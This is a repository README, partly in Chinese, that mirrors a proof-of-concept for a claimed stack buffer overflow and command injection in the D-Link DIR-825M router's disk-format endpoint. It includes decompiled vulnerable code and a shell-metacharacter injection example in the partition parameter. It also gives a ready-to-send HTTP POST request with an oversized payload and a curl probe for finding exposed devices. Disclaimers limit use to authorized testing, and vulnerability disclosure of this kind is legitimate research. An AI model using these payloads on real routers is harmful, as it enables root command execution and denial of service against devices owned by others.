hackspeak/cve-2026-82592Proof-of-concept exploit for D-Link DIR-825M stack buffer overflow and command injection in /boafrm/formDiskFormat, enabling remote code execution as root on firmware v1.1.8.
| Field | Value |
|---|---|
| Vendor | D-Link |
| Product | D-Link DIR-825M (and other models sharing the same firmware codebase) |
| Affected Version | Firmware v1.1.8 |
| Vulnerability Type | Stack-based Buffer Overflow (CWE-121)、Command Injection (CWE-78) |
| Vendor Homepage | https://www.dlink.com/ |
During a security review of the router's firmware, a critical vulnerability was identified in the /boafrm/formDiskFormat endpoint.
The vulnerability is located in the sub_46725C function, which handles partition formatting. The function retrieves the user-controlled partition parameter from the HTTP POST request. Without any prior sanitization, verification, or length checks on this parameter, the program performs several unsafe operations:
sprintf to format the parameter into a small local stack buffer v9 (allocated with only 132 bytes).system() to execute system utilities.An attacker can exploit this by injecting shell metacharacters (such as ;, &, or |) into the partition parameter to execute arbitrary system commands with root privileges, or by passing an oversized string to cause a stack buffer overflow and hijack control flow.
/boafrm/formDiskFormat (or similar disk format handling endpoint)sub_46725CThe vulnerability stems from two concurrent programming flaws: unsafe string formatting and direct execution of unvalidated inputs in a system shell.
Inside sub_46725C, the partition parameter is fetched and stored in v2:
v2 = (const char *)sub_41351C(a1, "partition", "");
If the parameter is not empty, the program immediately constructs an unmount command and executes it:
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
Since v2 is directly embedded into the command string without sanitizing characters like ;, an input of sda1;+sleep+5; will execute as:
umount /dev/sda1; sleep 5; >/dev/null 2>&1
This directly triggers arbitrary shell command execution.
The local buffer v9 is declared on the stack with a limited size:
char v9[132];
The program uses sprintf to copy the user input into v9:
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
Because sprintf does not perform bounds checking, a partition parameter longer than approximately 90 bytes will write past the boundary of v9, overwriting the stack frame, including the saved frame pointer and return address ($ra in MIPS/ARM).
An attacker can exploit this vulnerability to achieve the following outcomes:
root) privileges.By supplying an oversized partition parameter, the stack will be corrupted, resulting in a segmentation fault and crashing the Web server daemon.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
POST /boafrm/formDiskFormatpartition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。
reports/Dlink/formDiskFormat/)。LICENSE)。